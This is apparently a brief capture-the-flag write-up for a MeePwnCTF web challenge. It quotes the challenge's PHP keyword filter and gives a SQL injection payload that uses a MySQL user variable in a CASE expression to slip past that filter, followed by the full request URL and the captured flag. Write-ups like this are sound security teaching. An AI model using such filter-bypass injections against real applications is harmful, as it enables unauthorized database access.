Tags: sqli web 

Rating: 5.0

Again id has to be 2 in the first query and 1 in the second and bypass this:
```
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day#is',$id))
```
We dont need the second injection ;)

?id=case when @wurst is null then @wurst:=2 else @wurst:=@wurst-1 end

`/c541c6ed5e28b8762c4383a8238e6f5632cc7df6da8ce9db7a1aa706d1e5c387/?id=case+when+@wurst+is+null+then+@wurst:=2+else+@wurst:=@wurst-1+end`

> MeePwnCTF{_I_g1ve__uPPPPPPPP_see_you_next_Year}

kunte_